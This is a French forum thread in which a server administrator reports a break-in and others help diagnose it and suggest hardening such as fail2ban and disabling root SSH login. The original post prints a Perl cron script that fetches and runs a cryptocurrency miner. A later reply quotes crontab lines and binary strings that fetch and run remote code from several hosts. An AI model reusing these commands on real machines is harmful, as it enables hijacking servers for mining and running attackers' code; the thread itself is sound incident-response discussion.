Forum général.général Piratage de ma machine ???

Posté par . Licence CC by-sa
Tags : aucun
8
22
mai
2014

Bonjour à tous,

Il semblerait que je me soit fait pirater un de mes serveurs… Je retrouve ce type de script en tâche cron :

#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
    $rn=int(rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
    $wig=`wget --version | grep GNU`;
    if(length($wig>6)) {
        if($ar=~/64/g) {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
        } else {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
        }
    } else {
        if($ar=~/64/g) {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
        } else {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
       }
    }
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";

J'ai fait un kill des process douteux ("kernelupdates"), un apt-get update && dist-upgrade (qui m'a mis à jour mon noyau), j'ai changé le mot de passe root et rebooté la machine. J'ai ensuite vérifié le /tmp qui à l'air d'être vide. En tout cas, je n'ai plus de process douteux à réapparaitre. Par contre, j'ai beau inspecter les différents cron (crontab, cron.d, cron.daily, cron.hourly, cron.weekly, etc…) je ne trouve pas la tâche qui réessaye sans arret de remettre le process en place. Finalement, ce qui me sauve et qui m'a fait me rendre compte du problème, c'est que je n'ai pas curl d'installé, et que j'ai un mail d'alerte de la part de cron qui n'arrive pas à exécuter le fichier…

La question est la suivante : comment m'assurer de l'intégrité de mon serveur ? Quels sont les points que je dois vérifier absolument et au plus vite ?

Merci d'avance.

Tof

  • # La seule solution

    Posté par . Évalué à 10.

    Je vais être porteur de mauvaises nouvelles : tu dois réinstaller ton système intégralement. Tu peux copier les logs/fichiers quelques part pour faire une analyse post-mortem plus tard, mais tu ne peux plus faire confiance à ton serveur actuellement.

  • # liveCd

    Posté par (page perso) . Évalué à 4.

    Salut!

    Je me demande comment l'intrus a pu réussir à avoir l'accès root de ton pc. Il peut potentiellement le refaire…

    Sinon, L'analyse post-mortem est la meilleure solution. En attendant, tu peux toujours déconnecter ton serveur, et démarrer à partir d'un liveCD, et lancer en grep massif sur tous les fichiers du disque, en cherchant des valeurs discriminantes.

    Quand tu auras découvert le comment, et le pourquoi, je pense qu'un petit journal pourrait être très intéressant !

    Bonne chance

    • [^] # Re: liveCd

      Posté par (page perso) . Évalué à 2.

      Et un petit Whois sur l'IP:

      [Querying whois.arin.net]
      [Redirected to whois.ripe.net:43]
      [Querying whois.ripe.net]
      [whois.ripe.net]
      % This is the RIPE Database query service.
      % The objects are in RPSL format.
      %
      % The RIPE Database is subject to Terms and Conditions.
      % See http://www.ripe.net/db/support/db-terms-conditions.pdf
      
      % Note: this output has been filtered.
      %       To receive output for a database update, use the "-B" flag.
      
      % Information related to '5.104.106.0 - 5.104.106.255'
      
      % Abuse contact for '5.104.106.0 - 5.104.106.255' is 'abuse@myLoc.de'
      
      inetnum:        5.104.106.0 - 5.104.106.255
      netname:        MYLOC-DE-DUS2-DEDICATED-SERVER
      descr:          webtropia dedicated Server by http://www.webtropia.com
      descr:          myLoc managed IT AG
      country:        DE
      admin-c:        FIO-RIPE
      tech-c:         MLC-RIPE
      status:         ASSIGNED PA
      mnt-by:         MYLOC-MNT
      source:         RIPE # Filtered
      
      role:           fast IT Operations Team
      address:        myLoc managed IT AG
      address:        Am Gatherhof 44
      address:        40472 Duesseldorf
      address:        DE
      abuse-mailbox:  abuse@fastIT.net
      phone:          +49 211 171659 0
      fax-no:         +49 211 171659 77
      remarks:        +---------------------------------------------------+
      remarks:        | Please see FONE-RIPE for operational contacts in  |
      remarks:        | case of network related issues!                   |
      remarks:        +---------------------------------------------------+
      admin-c:        DTH
      tech-c:         DTH
      nic-hdl:        FIO-RIPE
      mnt-by:         FIBRE1-MNT
      source:         RIPE # Filtered
      
      role:           myLoc NOC
      address:        myLoc managed IT AG
      address:        Network Operations & Services
      address:        Am Gatherhof 44
      address:        40472 Duesseldorf
      address:        Germany
      abuse-mailbox:  abuse@myLoc.de
      phone:          +49 211 61708 110
      fax-no:         +49 211 61708 111
      remarks:        +---------------------------------------------------+
      remarks:        | 24/7 NOC email: noc _at_ myLoc.de                 |
      remarks:        | 24/7 NOC phone: +49 211 61708 110                 |
      remarks:        | Please direct absue issues ONLY                   |
      remarks:        | to abuse _at_ myLoc.de                            |
      remarks:        | Complaints to other adresses will be deemed       |
      remarks:        | as spam and not further processed!                |
      remarks:        +---------------------------------------------------+
      admin-c:        DTH
      tech-c:         DTH
      nic-hdl:        MLC-RIPE
      mnt-by:         MYLOC-MNT
      source:         RIPE # Filtered
      
      % Information related to '5.104.104.0/21AS24961'
      
      route:          5.104.104.0/21
      descr:          DE-MYLOC-5-104-104-0---slash-20
      origin:         AS24961
      mnt-by:         MYLOC-MNT
      source:         RIPE # Filtered
      
      % This query was served by the RIPE Database Query Service version 1.72 (DBC-WHOIS2)
      

      Donc, il semblerait que les archives proviennent d'un autre serveur. Donc c'est un peu mort pour remonter plus haut.

      • [^] # Re: liveCd

        Posté par . Évalué à 2.

        sans doute un serveur qui est aussi compromis.

      • [^] # Re: liveCd

        Posté par (page perso) . Évalué à 2.

        Ce programme est encore accessible, et il semble avoir été compilé sous Debian.

        Bon, j'ai pas trop regardé, mais il semble lancer plusieurs processus et fils d'exécution. Peut-être pour simplement mettre à genoux le processeur, donc le serveur.

        • [^] # Re: liveCd

          Posté par . Évalué à 2.

          A priori, ca fait penser un un mineur de monnaie type bitcoin.

          • [^] # Re: liveCd

            Posté par . Évalué à 3.

            oui, c'est exactement ca. Une recherche sur "stratum+tcp://hk2.wemineltc.com:80" permet de voir que c'est lié au cassage? de LiteCoins, une alternative au BitCoins.

            • [^] # Re: liveCd

              Posté par . Évalué à 4.

              Si cette pool de minage est sérieuse, il serait peut-être bon de dénoncer l'utilisateur indélicat !

  • # /tmp/

    Posté par (page perso) . Évalué à 2.

    et rebooté la machine. J'ai ensuite vérifié le /tmp qui à l'air d'être vide

    Il est vidé au reboot…

    La gelée de coings est une chose à ne pas avaler de travers.

    • [^] # Re: /tmp/

      Posté par (page perso) . Évalué à 3.

      oui mais dans son cas des process essaient d'y écrire en permanence, donc sa vérification est pertinente (mais pas suffisante, comme déjà dit, tout re-installer, et éventuellement sauver pour analyse avec un live-cd).

      If you choose open source because you don't have to pay, but depend on it anyway, you're part of the problem.evloper) February 17, 2014

  • # Premières investigations

    Posté par . Évalué à 2.

    Le programme était installé avec la commande "crontab -e", ce qui implique pour moi un accès root. La commande 'last' ne me donne que mes accès. J'ai commencé à regarder le fichier "auth.log", mais vu comment je me faisais attaquer, j'ai des logs de 3 kilomètres… Ca va pas être évident de retrouver l'accès frauduleux (d'autant plus que les traces ont probablement été enlevées….). En tout cas, je vais changer le port d'écoute de ssh, ça évitera probablement une bonne partie des tentatives d'accès.

    Ce qui m'inquiète, c'est que mon mot de passe, bien que court (8 caractères), était quand même loin d'être trivial (des minuscules, des majuscules, 1 chiffre et 1 ponctuation).

    debsums ne me donne rien, chkrootkit et rkhunter non plus.

    Du coup, je vais finir l'analyse des logs, mais ça me donne l'impression que les attaquants n'ont pas véritablement essayé de prendre la main, juste d'installer leur programme de minage.

    Dans tous les cas, je suis en train de sauvegarder ce que je peux, et dès que ce serra fait, je repartirai de zéro.

    Merci à toutes les personnes qui m'ont aidé !

    • [^] # Re: Premières investigations

      Posté par (page perso) . Évalué à 1.

      Piratage d'un dédié içi aussi. Le pirate est entrée via un site avec une faile, et donc à installé son cron dans le www-data (crontab -u www-data -e). J'ai rajouté dans /etc/hosts:
      127.0.0.1 updates.dyndn-web.com hk2.wemineltc.com power.wemineltc.com lite.wemineltc.com usa4.wemineltc.com usa3.wemineltc.com usa2.wemineltc.com usa.wemineltc.com hk3.wemineltc.com hk.wemineltc.com gridseed.wemineltc.com freedom.wemineltc.com
      Je confirme, c'est bien de wemineltc, j'ai donc reporté l'utilisateur sur le canal irc (j'ai un compte la bas).

      Mon projet libre: http://ultracopier-fr.first-world.info/, mon jeu libre: http://catchchallenger.first-world.info/

      • [^] # Re: Premières investigations

        Posté par (page perso) . Évalué à 3.

        Hello,

        Est-ce indiscret de vous demander le nom du site (enfin plutôt le logiciel derrière) ? Est-ce un site opensource, ou proprio connu ou un site maison ?

        Merci

        • [^] # Re: Premières investigations

          Posté par (page perso) . Évalué à 1.

          Mutualisé. Donc tout type de site dessus (wp, prestashop, site custom).

          Mon projet libre: http://ultracopier-fr.first-world.info/, mon jeu libre: http://catchchallenger.first-world.info/

    • [^] # Re: Premières investigations

      Posté par . Évalué à 2.

      En fait, tu n'indiques pas explicitement avec quel utilisateur était lancé le script. Pour effectuer les actions de ce script, il ne semble pas nécessaire d'être root, pas plus que pour exécuter le programme récupéré (minerd contenu dans l'archive et renommé en kernelupdates, certainement dans l'espoir d'être un peu plus discret).
      De même, n'importe quel utilisateur peut exécuter la commande "crontab -e".

      Donc, afin d'essayer de déterminer l'origine de la faille, et éviter que cela ne se reproduise après une réinstallation (et accessoirement permettre aux lecteurs de ce site de s'en prémunir), peux-tu nous indiquer quel utilisateur avait lancé ces scripts ? C'est celui à qui appartenait la crontab incriminée ainsi que les fichiers créés dans /tmp. Tu dois aussi pouvoir le déterminer d'après les mails reçus : le sujet devrait commencer par «Cron user@machine».

      À partir de là, on pourra commencer à chercher l'origine du problème (mot de passe cracké, mais je n'y crois pas trop, faille dans une appli web, …)
      À mon avis, si tu cherches des traces dans des logs, c'est plutôt du côté du serveur web (apache ?) qu'il faut regarder, surtout si PHP est activé.

      • [^] # Re: Premières investigations

        Posté par . Évalué à 2.

        Le cron était lancé en root, je peux (malheureusement) le confirmer.

        J'ai trouvé des IPs suspectes dans mes logs (auth.log):
        May 16 14:11:21 sshd[17906]: Accepted password for root from 85.250.124.124 port 37627 ssh2
        May 16 14:11:21 sshd[17906]: pam_unix(sshd:session): session opened for user root by (uid=0)

        J'en ai 3 :
        109.186.3.14
        85.250.124.124
        188.165.232.93

        2 d'entre elles renvoient en Israël, et la dernière sur un serveur OVH.

        Au vu des logs, la compromission a sans doute eu lieu le 12 mai. Par contre, je ne sais toujours pas par ou.

        Il y a des choses qui me surprennent :
        1 - mon système à l'air normal. Je ne suis sans doute pas assez compétent pour reconnaitre un rootkit, ce qui fait que de toute manière, on va reformater, mais avec l'accès que l'attaquant avait, il aurait pu faire beaucoup plus (et surtout, nettoyer les logs !)
        2 - le script n'est même pas obfusqué ! on peux lire quasi en clair (ça reste du perl quand même..) le compte utilisé par le mineur. Je ne connais pas le fonctionnement des crypto-monnaies, mais je me demande même si du coup, on pourrait pas ouvrir son portefeuille, puisque on a également le mot de passe en clair dans le script… Ou alors, le portefeuille est régulièrement transféré sur un autre ?

        Je reste vraiment perplexe… De toute manière, l'accès root à été compromis, c'est une certitude. Néanmoins, on a l'impression que ce serveur n'était pas particulièrement intéressant, et qu'aucune précaution particulière n'a été prise pour ne pas être découvert.

        A suivre…

        • [^] # Re: Premières investigations

          Posté par (page perso) . Évalué à 3. Dernière modification le 22/05/14 à 16:01.

          L'accès ssh root, c'est lui qui l'a ouvert ou le serveur acceptait les connexions root par défaut?

          Dans tous les cas, l'installation d'un fail2ban (ou équivalent) afin d'éviter les attaques de type "brute force" me semble être nécessaire ;)

          Par exemple, ici j'ai:
          - 20 ip bloquées pour SASL
          - 96 ip bloquées pour ssh

        • [^] # Re: Premières investigations

          Posté par . Évalué à 2.

          La première question qui me vient à l'esprit c'est de savoir s'il est usuel de se connecter en root sur ce serveur, et si le mot de passe root est partagé entre ce serveur et d'autres. J'ai en effet déjà vu passer des versions modifiées de SSH qui permettaient :

          • d'attraper l'ensemble des mots de passe des utilisateurs utilisant la commande 'ssh' en mode client
          • d'attraper les mots de passe des utilisateurs se connectant sur la machine

          Ce serveur compromis l'a probablement été par récupération du mot de passe root qui a été tapé sur un terminal android. À partir de là, ça aurait pu partir en chaîne, notamment si quelqu'un utilisait ce serveur pour faire des rebonds SSH vers ailleurs. La partir amusante était que le malware était sous la forme d'un virus, contaminant petit à petit les exécutables à disposition (pour se mettre/remettre dans l'exécutable SSH si root avait le bonheur de lancer un programme).

          Autrement, si l'utilisateur ne fait aucun effort pour camoufler ses traces, la connexion d'un utilisateur root ne veut absolument pas dire qu'il a trouvé le mot de passe. Il a pu remplacer le démon SSH par un autre moyen, puis ensuite l'utiliser par simplicité.

    • [^] # Re: Premières investigations

      Posté par . Évalué à 1.

      Ce qui m'inquiète, c'est que mon mot de passe, bien que court (8 caractères), était quand même loin d'être trivial (des minuscules, des majuscules, 1 chiffre et 1 ponctuation).

      Je me demande s'il n'est pas possible d'interdire l'usage de la commande "su"? Si c'est le cas, alors il serait peut-être intéressant d'interdire tout accès au compte root qui ne passe pas par ssh, et de mettre en place l'usage des ~/.ssh/authorized_keys, solution tout de même plus blindée que d'utiliser des passwords.

      • [^] # Re: Premières investigations

        Posté par . Évalué à 6.

        Il vaut mieux faire l'inverse et interdire l'accès root en SSH. L'attaquant devra trouver un nom d'utilisateur valide en plus du mot de passe de l'utilisateur. Ensuite même si le compte utilisateur est compromis l'attaquant n'aura toujours pas d'accès admin au système sans le deuxième mot de passe pour passer root avec su.
        Je ne peux que plusser gnumdk pour fail2ban : sur un serveur dédié c'est tout simplement indispensable.
        Pour aller encore plus loin tu peux changer le port par défaut de ssh et y placer un honeypot sur le 22 et utiliser fail2ban pour bannir les ips qui se connectent au honeypot.

        • [^] # Re: Premières investigations

          Posté par . Évalué à 1.

          Effectivement, devoir passer par su ajoute un pass, donc de la sécurité et évite qu'un couple login/pass se fasse casser trop vite ( surtout que j'imagine que le nom "root" n'est jamais changé? ). Même si j'avais parlé d'authentification SSH via les fameux fichiers id_rsa et id_rsa.pub. Penses-tu que leur usage fragilise un système? Après tout, si on s'en fait piquer un, on compromets directement le système ( et du coup effectivement interdire l'accès root est très pertinent )?
          À moins qu'il soit possible de limiter l'usage de ces fichiers pour des clients ayant tel hash?

          Sinon, utiliser un honeypot et un fail2ban sur le 22, ça me semble "dangereux" si quelqu'un zappe le numéro de port? Enfin, c'est sûr que ça ajoute en sécurité…

          • [^] # Re: Premières investigations

            Posté par . Évalué à 2.

            Même si j'avais parlé d'authentification SSH via les fameux fichiers id_rsa et id_rsa.pub. Penses-tu que leur usage fragilise un système ? Après tout, si on s'en fait piquer un, on compromets directement le système ( et du coup effectivement interdire l'accès root est très pertinent )?

            Oui en effet la sécurisation des fichiers de clé eux même sont un peu la faiblesse de ce système : il faut être bien sûr quelles sont stockés de manière à ce que personne d'autre ne puisse potentiellement y avoir accès et ce n'est malheureusement pas toujours évident.
            L'autre problématique importante quand on généralise leur utilisation est le risque de se faire pourrir les machines à la chaîne : la machine A est vulnérable à une quelconque faille, l'attaquant obtient l'accès à un un compte utilisateur avec les clés pour se connecter sur B et C même si ces machines ne sont pas vulnérables.
            Après il faut en tenir compte et je ne dis pas que c'est forcément une mauvaise façon de faire, les clés ont aussi leurs avantages.

            Le nom de l'utilisateur root n'est effectivement jamais changé et les tentatives de brute force se font régulièrement sur cet utilisateur car après tout c'est de loin le plus intéressant pour l'attaquant. Donc pour moi la règle est simple : PermitRootLogin est à no sur toutes les machines que j'administre pour un peu plus de tranquillité.

            Sinon, utiliser un honeypot et un fail2ban sur le 22, ça me semble "dangereux" si quelqu'un zappe le numéro de port? Enfin, c'est sûr que ça ajoute en sécurité…

            Oui et ça m'est naturellement déjà arrivé ^_^. J'ai une solution tout bête : les adresses IP de plusieurs machines auxquelles je peux avoir accès par internet sont en liste blanche sur les honeypots. Comme ça même si je me plante alors que suis dans un cyber café à l'étranger je peux toujours me loguer sur une autre machine pour me dé-bannir (sans oublier de préciser le port cette fois là).

            Sinon en adaptant un peu le script python que j'utilise pour les honeypots il serait assez facile de mettre en place une séquence de port knocking pour se faire dé-bannir et là plus besoin de liste blanche.

            • [^] # Re: Premières investigations

              Posté par . Évalué à 1.

              Bonjour tlm,

              Mes collègues ont découvert que leur serveur se faisait exploiter à 100%
              depuis vendredi soir, le 24.

              Le serveur est une redhat 6, noyau 2.6.32-279.14.1.el6.x86_64
              sur laquelle je n'ai trouvé ni les auths ni syslog

              /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
              est pourtant bien en train de tourner mais je connais pas bien la RHEL6

              Résultat des examens : top :

              ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx

              et une pelleté de wget et de curl lancé par l'utilisateur jboss
              qui ont déposé des fichier 368.1 à 368.77.2 minute après minute contenant la même page
              html :

              <title>1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team</title>

              Dans le crontab :

              ̀for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done

              jboss
                  1 1 10 * * ~/.sysdbs
                  1 1 24 * * perl ~/.sysync.pl
                  * * * * * /tmp/bewbs/update >/dev/null 2>&1
                  1 1 24 * * perl ~/.sysync.pl
                  1 1 10 * * ~/.sysdbs
                  */6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O  http://updates.dyndn-web.com/.../abc.txt ;perl abc.txt;rm -f abc*
                  */6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt ;perl abc.txt;rm -f abc*
                  */6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*
              

              Le ~/.sysdbs est un binaire,

              strings ~/.sysdbs

              wget http://eventuallydown.dyndns.biz/a.tar.gz
              tar xzvf a.tar.gz
              perl b.pl
              rm -f a.tar.gz
              wget http://gettingz.strangled.net/a.tar.gz
              wget http://redtapeworks.dyndns.info/a.tar.gz
              

              sysync.pl , je vous en fait grâce, c'est du perl bien obfusqué qui tape dans

              iscvadimswallows.dyndns.biz,webstatzz.twilightparadox.com,westatzo.dyndns-remote.com,suyeifd.dyndns.info,killbilll.twilightparadox.com,ifivecents.dyndns-web.com …etc…

              Quelques lignes suspectes dans la maillog :

              May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: the Postfix sendmail command has set-uid root file permissions
              May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: or the command is run from a set-uid root process
              May 27 12:12:01 tatooine postfix/sendmail[15673]: warning: the Postfix sendmail command must be installed without set-uid root file permissions

              dans /var/log/secure : a gogo de

              May 27 15:09:10 tatooine agetty[18709]: /dev/ttyS0: tcgetattr: Input/output error
              May 27 15:09:20 tatooine agetty[18729]: /dev/ttyS1: tcgetattr: Input/output error

              ce qui en brouille considérablement la lecture

              May 27 15:09:24 tatooine sshd[18731]: Address 93.62.137.164 maps to smtp.arcaplanet.net, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT!

              et, surprise, en l'absence de fail2ban, des connexions ssh tentent leur chances depuis un an,
              (161624 tentatives depuis 5595 ip différentes).

              /etc/passwd

              apache:x:48:48:Apache:/var/www:/bin/bash
              jboss:x:501:502::/data/jboss:/bin/bash
              

              est-ce que ça pose problème si ce n'est pas à /bin/false ? pourquoi ?

              Donc voilà un serveur bien troué…

  • # stealth

    Posté par . Évalué à 2.

    En dehors des procédures de blocages citées, stealth permet de vérifier l'intégrité des fichiers. C'est très simple à mettre en place, facile a personnaliser et ça ne laisse aucune trace sur la machine surveillée (à part pendant le lancement). En gros on lance d'une autre machine une série de find sha1sum périodiquement, chaque différence est loguée et montre donc automatiquement tout changement dans l'arborescence.

Suivre le flux des commentaires

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n'en sommes pas responsables.